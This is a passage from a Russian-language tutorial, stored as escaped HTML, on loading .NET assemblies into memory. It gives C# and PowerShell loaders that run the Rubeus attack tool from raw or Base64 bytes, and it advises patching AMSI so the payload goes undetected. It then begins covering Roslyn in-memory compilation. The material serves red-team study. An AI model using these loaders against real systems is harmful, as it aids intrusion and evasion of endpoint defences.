\u0432\u0445\u043e\u0434\u0430. <\/p>\n<pre><code class=\"cs\">using System; using System.IO; using System.Reflection;  namespace AssemblyLoader { class Program {     static void Main(string[] args)     {         Byte[] bytes = File.ReadAllBytes(@\"C:\\Users\\Michael\\Downloads\\Rubeus.exe\");             ExecuteAssembly(bytes, new string[] { \"user\" });               Console.Write(\"Press any key to exit\");         string input = Console.ReadLine();     }       public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)     {         Assembly assembly = Assembly.Load(assemblyBytes);           MethodInfo method = assembly.EntryPoint;                                                     object[] parameters = new[] { param };           object execute = method.Invoke(null, parameters);     } } } ```<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/38a\/967\/040\/38a967040d9ed91e7008087b1128d892.png\" width=\"1597\" height=\"1340\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/38a\/967\/040\/38a967040d9ed91e7008087b1128d892.png\"\/><\/figure>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0432\u0441\u0435 \u0431\u0430\u0439\u0442\u044b \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 Assembly.Load(), \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u0442 \u043a \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438! \u041d\u0430\u0447\u043d\u0451\u043c \u0441\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0431\u0430\u0439\u0442\u043e\u0432. \u041a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c File.ReadAllBytes(), \u043c\u044f\u0433\u043a\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u043d\u0443\u0434\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u044b \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Powershell: <\/p>\n<p><code>$FilePath = \"C:\\Users\\Michael\\Downloads\\Rubeus.exe\"\"<br \/>$File = [System.IO.File]::ReadAllBytes($FilePath);<\/code><\/p>\n<p>\u0412 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 $File \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0430\u0439\u0442\u043e\u0432, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6cd\/369\/c12\/6cd369c125688f2c6e9f807b84a4b2a5.png\" width=\"2297\" height=\"1247\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6cd\/369\/c12\/6cd369c125688f2c6e9f807b84a4b2a5.png\"\/><\/figure>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u043c\u0430\u0441\u0441\u0438\u0432 \u0432 Base64, \u0430 \u0437\u0430\u0442\u0435\u043c \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u0441\u0442\u0440\u043e\u043a\u0443 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0443\u0436\u043d\u044b\u0439 \u043f\u043e\u0442\u043e\u043a \u0431\u0430\u0439\u0442\u043e\u0432. <\/p>\n<p><code>$Base64String = [System.Convert]::ToBase64String($File);<br \/>echo $Base64String;<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4c1\/201\/732\/4c12017324404511e4e468cae88ed165.png\" width=\"1940\" height=\"1054\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4c1\/201\/732\/4c12017324404511e4e468cae88ed165.png\"\/><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430\u0448 \u043b\u043e\u0430\u0434\u0435\u0440, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u0432 \u043d\u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u0443\u044e Base64 \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u043f\u043e \u0435\u0451 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e: <\/p>\n<pre><code class=\"cs\">using System; using System.IO; using System.Reflection;     namespace AssemblyLoader { class Program {     static void Main(string[] args)     {         string assemblyBase64 = \"&lt;b64 value>\";         Byte[] bytes = Convert.FromBase64String(assemblyBase64);             ExecuteAssembly(bytes, new string[] { \"user\" });               Console.Write(\"Press any key to exit\");         string input = Console.ReadLine();     }       public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)     {         Assembly assembly = Assembly.Load(assemblyBytes);           MethodInfo method = assembly.EntryPoint;           object[] parameters = new[] { param };           object execute = method.Invoke(null, parameters);     } } }<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2fa\/308\/94d\/2fa30894d5f4c9237cd3e37763106a84.png\" width=\"1715\" height=\"1436\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2fa\/308\/94d\/2fa30894d5f4c9237cd3e37763106a84.png\"\/><\/figure>\n<p>\u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443, \u0432\u0435\u0434\u044c \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u043e\u0432\u0430 \u0434\u043e\u0442\u043d\u0435\u0442\u043e\u0432\u0441\u043a\u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0438\u0437 Powershell. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a \u043d\u0443\u0436\u043d\u043e\u043c\u0443 \u043d\u0430\u043c System.Reflection, \u0430 \u0438\u0437 \u043d\u0435\u0433\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 Assembly.Load(), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441 \u0442\u0430\u043a\u0438\u043c \u0436\u0435 \u0443\u0441\u043f\u0435\u0445\u043e\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u0431\u043e\u0440\u043a\u0443 \u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a \u043d\u0435\u0439. <\/p>\n<p>\u0421\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u043f\u0440\u043e\u0441\u0442: <\/p>\n<pre><code class=\"powershell\">$blob = \"&lt;\u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0435 base64>\" $load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u043b\u0438\u0448\u044c \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0436\u0435\u043b\u0430\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430 \u043c\u0435\u0442\u043e\u0434, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441: <\/p>\n<pre><code class=\"powershell\">[&lt;namespace>.&lt;class>]::&lt;method>() # Ex \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 [Rubeus.Program]::Main()<\/code><\/pre>\n<p>\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u0447\u0435\u0440\u0435\u0437 Powershell \u0432\u0441\u0435 \u0431\u0430\u0439\u0442\u044b \u0441\u0431\u043e\u0440\u043a\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0439 \u0432 \u043c\u0435\u0442\u043e\u0434 Assembly.Load(), \u043f\u0435\u0440\u0435\u0434 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u043e\u043a\u0430\u0436\u0443\u0442\u0441\u044f \u0432 AMSI, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u043f\u0430\u0442\u0447\u0438\u0442\u044c AMSI, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u043d\u0435 \u0440\u0443\u0433\u0430\u043b\u0441\u044f \u043d\u0430 \u043d\u0430\u0448 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434. <\/p>\n<p>\u041f\u0440\u0438\u0447\u0451\u043c \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0430 \u0441\u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c. \u0421\u043b\u0435\u0434\u0443\u0435\u0442 \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f Net Framework, \u0430 \u043d\u0435 Net Core, \u0442\u0430\u043a \u043a\u0430\u043a Core \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f \u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u044c. \u0412\u043e\u0442 <a href=\"https:\/\/stackoverflow.com\/questions\/43788046\/how-can-i-convert-a-net-core-project-to-a-net-framework-project\">\u0441\u0442\u0430\u0442\u044c\u044f<\/a>, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u043e\u0436\u043d\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0441 Core \u043d\u0430 Net Framework. \u0412\u044b\u0431\u0440\u0430\u0442\u044c \u043d\u0443\u0436\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0432 Visual Studio: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d85\/42c\/de3\/d8542cde314eac924906de00dc96e8b5.png\" width=\"1012\" height=\"674\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d85\/42c\/de3\/d8542cde314eac924906de00dc96e8b5.png\"\/><\/figure>\n<p>\u0412 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u043f\u043e\u0434\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0438\u043d\u043e\u0433\u0434\u0430 \u0443 Powershell \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u0434\u0451\u0442\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0440\u0443\u0447\u043d\u043e \u0432\u044b\u0447\u043b\u0435\u043d\u044f\u0442\u044c \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0443\u0436\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434: <\/p>\n<pre><code class=\"powershell\">$data = '\u0431\u0430\u0439\u0442\u044b \u0441\u0431\u043e\u0440\u043a\u0438' $assem = [System.Reflection.Assembly]::Load($data); $class = $assem.GetType('Rubeus.Program'); $method = $class.GetMethod('Main'); $method.Invoke(0, $null)<\/code><\/pre>\n<h3>C# \u0438 MemoryStream()<\/h3>\n<p>\u0412 C# \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0435\u0449\u0451 \u043e\u0434\u0438\u043d \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0431\u043e\u0440\u043a\u0438 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u043d\u0430 \u0445\u043e\u0434\u0443 \u0438\u0437 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u041f\u0440\u0438\u0447\u0451\u043c, \u043a\u0430\u043a \u044f \u0443\u0437\u043d\u0430\u043b \u043f\u043e\u0437\u0436\u0435, \u044d\u0442\u043e\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u043e, \u043b\u0438\u0448\u044c \u0432 2021 \u0433\u043e\u0434\u0443. <\/p>\n<p>\u0418\u0442\u0430\u043a, \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c <a href=\"https:\/\/learn.microsoft.com\/en-us\/dotnet\/api\/microsoft.codeanalysis.csharp.csharpsyntaxtree.parsetext?view=roslyn-dotnet-4.6.0\">CSharpSyntaxTree.ParseText()<\/a>. \u0412 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u043e\u043d \u0434\u043e\u043b\u0436\u0435\u043d \u0445\u0440\u0430\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0432\u0438\u0434\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 SyntaxTree. <\/p>\n<pre><code class=\"cs\">SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@\"         namespace ns{             using System;             public class App{                     public static void Main(string[] args){                         Console.Write(\"\"dada\"\");                 }             }         }\");<\/code><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043e\u043f\u0446\u0438\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 (\u0443 \u043d\u0430\u0441 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435): <\/p>\n<pre><code class=\"cs\">var options = new CSharpCompilationOptions(            OutputKind.ConsoleApplication,            optimizationLevel: OptimizationLevel.Debug,            allowUnsafe: true);<\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c \u0441\u0431\u043e\u0440\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u0441\u0431\u043e\u0440\u043a\u0443, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f <a href=\"https:\/\/learn.microsoft.com\/en-us\/dotnet\/api\/microsoft.codeanalysis.csharp.csharpcompilation.create?view=roslyn-dotnet-4.6.0\">CSharpCompilation.Create()<\/a>. \u041f\u0435\u0440\u0432\u044b\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u0438\u043c\u044f \u0441\u0431\u043e\u0440\u043a\u0438, \u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u2014 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043e\u043f\u0446\u0438\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0440\u0430\u043d\u0434\u043e\u043c\u043d\u043e\u0435 \u0438\u043c\u044f. <\/p>\n<pre><code class=\"cs\">var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);<\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442 \u0441\u0431\u043e\u0440\u043a\u0438, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0432 \u043d\u0435\u0451 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0438\u0306 \u043a\u043e\u0434, \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u043c\u0435\u0442\u043e\u0434 AddSyntaxTrees(): <\/p>\n<pre><code class=\"cs\">compilation = compilation.AddSyntaxTrees(syntaxTree);<\/code><\/pre>\n<p>\u0412\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0448\u0435\u0439 \u0441\u0431\u043e\u0440\u043a\u0438 \u0435\u0441\u0442\u044c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0431\u043e\u0440\u043e\u043a. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u0442\u043e\u0433\u043e \u0436\u0435 \u0432\u044b\u0432\u043e\u0434\u0430 \u043d\u0430 \u043a\u043e\u043d\u0441\u043e\u043b\u044c \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u0430 System.Console.Write(), \u0430 \u043e\u0442\u043a\u0443\u0434\u0430 \u0435\u0433\u043e \u0432\u043e\u0437\u044c\u043c\u0451\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440? \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0435\u043f\u0435\u0440\u044c \u0432 \u0441\u0431\u043e\u0440\u043a\u0443 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0431\u043e\u0440\u043e\u043a. \u041e\u043d\u0438 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0438\u0434\u0435 .dll \u0444\u0430\u0438\u0306\u043b\u043e\u0432, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u0439 \u0438 \u0442\u043e\u0438\u0306 \u0436\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0432\u043e\u0442 \u0442\u0430\u043a: <\/p>\n<pre><code class=\"cs\">var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);<\/code><\/pre>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0443 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0432\u0435\u0441\u0442\u0438 \u0441\u043f\u0438\u0441\u043e\u043a:<\/p>\n<pre><code class=\"cs\">List&lt;MetadataReference> references = new List&lt;MetadataReference>(); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, \"System.Private.CoreLib.dll\"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, \"System.Console.dll\"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, \"System.Runtime.dll\")));<\/code><\/pre>\n<p>\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u043f\u0430\u0440\u0441\u0438\u0442\u044c \u043d\u0430\u0448\u0435 \u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0435 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0434\u0435\u0440\u0435\u0432\u043e (\u043f\u043e\u043c\u043d\u0438\u0442\u0435? \u0412 \u043d\u0451\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438 \u043b\u0435\u0436\u0438\u0442). \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439 \u043a\u043e\u0434: <\/p>\n<pre><code class=\"cs\">var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType&lt;UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();   \/\/ \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 .dll  foreach (var u in usings)  {    references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + \".dll\")));   }<\/code><\/pre>\n<ul>\n<li>\n<p>compilation.SyntaxTrees\u00a0 \u2014 \u0438\u0437 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0441\u0431\u043e\u0440\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432\u0441\u0435 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0440\u0435\u0432\u044c\u044f<\/p>\n<\/li>\n<li>\n<p>Select(tree => tree.GetRoot().DescendantNodes().OfType&lt;UsingDirectiveSyntax>()) \u2014 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0434\u0435\u0440\u0435\u0432\u0430 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0432 \u0441\u043a\u043e\u0431\u043a\u0430\u0445 \u043f\u043e\u0441\u043b\u0435 Select. tree.GetRoot() \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 